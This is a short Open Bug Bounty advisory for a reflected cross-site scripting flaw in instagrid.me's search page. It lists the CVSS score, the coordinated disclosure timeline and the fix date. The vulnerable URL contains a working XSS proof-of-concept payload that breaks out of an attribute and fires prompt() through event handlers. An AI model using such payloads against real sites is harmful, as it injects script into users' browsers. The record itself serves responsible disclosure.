instagrid.me XSS vulnerability

2018-01-02T03:33:00
ID OBB:478741
Type openbugbounty
Reporter dak
Modified 2018-02-13T16:37:00

Description

Open Bug Bounty ID: OBB-478741

Description| Value
---|---
Affected Website:| instagrid.me
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Disclosure Standard:| Coordinated Disclosure based on ISO 29147 guidelines
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
http://instagrid.me/instagram/search.php?q=aaaaa%22+onmouseover%3Dprompt(%2FOPENBUGBOUNTY%2F)+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt(%2FOPENBUGBOUNTY%2F)%3Edemonium%3C%2Ftag%3E\n
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 2 January, 2018 03:33 GMT
Vulnerability Verified:| 4 January, 2018 10:03 GMT
Website Operator Notified:| 4 January, 2018 10:03 GMT
Vulnerability Published:| 4 January, 2018 10:03 GMT[without any technical details]
Vulnerability Fixed:| 13 February, 2018 16:37 GMT
Public Disclosure:| 13 February, 2018 16:37 GMT